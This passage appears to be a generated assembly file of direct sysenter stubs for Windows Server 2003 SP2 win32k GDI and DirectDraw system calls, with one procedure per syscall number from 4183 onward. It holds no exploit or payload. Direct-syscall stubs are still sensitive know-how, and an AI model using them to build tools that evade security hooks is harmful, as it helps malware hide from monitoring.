; ULONG __stdcall NtGdiDdReenableDirectDrawObject( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdReenableDirectDrawObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4183
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdReenableDirectDrawObject ENDP
; ULONG __stdcall NtGdiDdReleaseDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDdReleaseDC PROC STDCALL arg_01:DWORD
mov eax , 4184
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdReleaseDC ENDP
; ULONG __stdcall NtGdiDdRenderMoComp( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdRenderMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4185
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdRenderMoComp ENDP
; ULONG __stdcall NtGdiDdResetVisrgn( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdResetVisrgn PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4186
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdResetVisrgn ENDP
; ULONG __stdcall NtGdiDdSetColorKey( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdSetColorKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4187
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdSetColorKey ENDP
; ULONG __stdcall NtGdiDdSetExclusiveMode( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdSetExclusiveMode PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4188
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdSetExclusiveMode ENDP
; ULONG __stdcall NtGdiDdSetGammaRamp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdSetGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4189
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdSetGammaRamp ENDP
; ULONG __stdcall NtGdiDdCreateSurfaceEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdCreateSurfaceEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4190
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCreateSurfaceEx ENDP
; ULONG __stdcall NtGdiDdSetOverlayPosition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdSetOverlayPosition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4191
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdSetOverlayPosition ENDP
; ULONG __stdcall NtGdiDdUnattachSurface( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdUnattachSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4192
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdUnattachSurface ENDP
; ULONG __stdcall NtGdiDdUnlock( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdUnlock PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4193
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdUnlock ENDP
; ULONG __stdcall NtGdiDdUnlockD3D( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdUnlockD3D PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4194
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdUnlockD3D ENDP
; ULONG __stdcall NtGdiDdUpdateOverlay( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdUpdateOverlay PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4195
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdUpdateOverlay ENDP
; ULONG __stdcall NtGdiDdWaitForVerticalBlank( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdWaitForVerticalBlank PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4196
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdWaitForVerticalBlank ENDP
; ULONG __stdcall NtGdiDvpCanCreateVideoPort( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpCanCreateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4197
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpCanCreateVideoPort ENDP
; ULONG __stdcall NtGdiDvpColorControl( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpColorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4198
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpColorControl ENDP
; ULONG __stdcall NtGdiDvpCreateVideoPort( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpCreateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4199
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpCreateVideoPort ENDP
; ULONG __stdcall NtGdiDvpDestroyVideoPort( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpDestroyVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4200
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpDestroyVideoPort ENDP
; ULONG __stdcall NtGdiDvpFlipVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiDvpFlipVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4201
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpFlipVideoPort ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortBandwidth( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortBandwidth PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4202
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortBandwidth ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortField( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortField PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4203
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortField ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortFlipStatus( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortFlipStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4204
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortFlipStatus ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortInputFormats( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortInputFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4205
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortInputFormats ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortLine( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortLine PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4206
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortLine ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortOutputFormats( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortOutputFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4207
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortOutputFormats ENDP
; ULONG __stdcall NtGdiDvpGetVideoPortConnectInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortConnectInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4208
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoPortConnectInfo ENDP
; ULONG __stdcall NtGdiDvpGetVideoSignalStatus( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoSignalStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4209
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpGetVideoSignalStatus ENDP
; ULONG __stdcall NtGdiDvpUpdateVideoPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiDvpUpdateVideoPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4210
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpUpdateVideoPort ENDP
; ULONG __stdcall NtGdiDvpWaitForVideoPortSync( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpWaitForVideoPortSync PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4211
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpWaitForVideoPortSync ENDP
; ULONG __stdcall NtGdiDvpAcquireNotification( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDvpAcquireNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4212
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpAcquireNotification ENDP
; ULONG __stdcall NtGdiDvpReleaseNotification( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDvpReleaseNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4213
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDvpReleaseNotification ENDP
; ULONG __stdcall NtGdiDxgGenericThunk( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiDxgGenericThunk PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4214
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDxgGenericThunk ENDP
; ULONG __stdcall NtGdiDeleteClientObj( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDeleteClientObj PROC STDCALL arg_01:DWORD
mov eax , 4215
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDeleteClientObj ENDP
; ULONG __stdcall NtGdiDeleteColorSpace( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDeleteColorSpace PROC STDCALL arg_01:DWORD
mov eax , 4216
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDeleteColorSpace ENDP
; ULONG __stdcall NtGdiDeleteColorTransform( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDeleteColorTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4217
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDeleteColorTransform ENDP
; ULONG __stdcall NtGdiDeleteObjectApp( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDeleteObjectApp PROC STDCALL arg_01:DWORD
mov eax , 4218
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDeleteObjectApp ENDP
; ULONG __stdcall NtGdiDescribePixelFormat( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiDescribePixelFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4219
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDescribePixelFormat ENDP
; ULONG __stdcall NtGdiGetPerBandInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetPerBandInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4220
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetPerBandInfo ENDP
; ULONG __stdcall NtGdiDoBanding( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiDoBanding PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4221
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDoBanding ENDP
; ULONG __stdcall NtGdiDoPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiDoPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4222
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDoPalette ENDP
; ULONG __stdcall NtGdiDrawEscape( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiDrawEscape PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4223
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDrawEscape ENDP
; ULONG __stdcall NtGdiEllipse( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiEllipse PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4224
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEllipse ENDP
; ULONG __stdcall NtGdiEnableEudc( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEnableEudc PROC STDCALL arg_01:DWORD
mov eax , 4225
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEnableEudc ENDP
; ULONG __stdcall NtGdiEndDoc( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEndDoc PROC STDCALL arg_01:DWORD
mov eax , 4226
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEndDoc ENDP
; ULONG __stdcall NtGdiEndPage( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEndPage PROC STDCALL arg_01:DWORD
mov eax , 4227
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEndPage ENDP
; ULONG __stdcall NtGdiEndPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEndPath PROC STDCALL arg_01:DWORD
mov eax , 4228
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEndPath ENDP
; ULONG __stdcall NtGdiEnumFontChunk( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiEnumFontChunk PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4229
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEnumFontChunk ENDP
; ULONG __stdcall NtGdiEnumFontClose( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEnumFontClose PROC STDCALL arg_01:DWORD
mov eax , 4230
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEnumFontClose ENDP
; ULONG __stdcall NtGdiEnumFontOpen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiEnumFontOpen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4231
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEnumFontOpen ENDP
; ULONG __stdcall NtGdiEnumObjects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiEnumObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4232
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEnumObjects ENDP
; ULONG __stdcall NtGdiEqualRgn( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiEqualRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4233
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEqualRgn ENDP
; ULONG __stdcall NtGdiEudcLoadUnloadLink( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiEudcLoadUnloadLink PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4234
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEudcLoadUnloadLink ENDP
; ULONG __stdcall NtGdiExcludeClipRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiExcludeClipRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4235
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExcludeClipRect ENDP
; ULONG __stdcall NtGdiExtCreatePen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiExtCreatePen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4236
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtCreatePen ENDP
; ULONG __stdcall NtGdiExtCreateRegion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiExtCreateRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4237
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtCreateRegion ENDP
; ULONG __stdcall NtGdiExtEscape( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiExtEscape PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4238
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtEscape ENDP
; ULONG __stdcall NtGdiExtFloodFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiExtFloodFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4239
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtFloodFill ENDP
; ULONG __stdcall NtGdiExtGetObjectW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiExtGetObjectW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4240
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtGetObjectW ENDP
; ULONG __stdcall NtGdiExtSelectClipRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiExtSelectClipRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4241
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtSelectClipRgn ENDP
; ULONG __stdcall NtGdiExtTextOutW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_5_2_3790_sp2_windows_2003_NtGdiExtTextOutW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 4242
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiExtTextOutW ENDP
; ULONG __stdcall NtGdiFillPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiFillPath PROC STDCALL arg_01:DWORD
mov eax , 4243
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFillPath ENDP
; ULONG __stdcall NtGdiFillRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiFillRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4244
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFillRgn ENDP
; ULONG __stdcall NtGdiFlattenPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiFlattenPath PROC STDCALL arg_01:DWORD
mov eax , 4245
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFlattenPath ENDP
; ULONG __stdcall NtGdiFlush( );
_5_2_3790_sp2_windows_2003_NtGdiFlush PROC STDCALL
mov eax , 4246
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFlush ENDP
; ULONG __stdcall NtGdiForceUFIMapping( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiForceUFIMapping PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4247
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiForceUFIMapping ENDP
; ULONG __stdcall NtGdiFrameRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiFrameRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4248
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFrameRgn ENDP
; ULONG __stdcall NtGdiFullscreenControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiFullscreenControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4249
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFullscreenControl ENDP
; ULONG __stdcall NtGdiGetAndSetDCDword( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
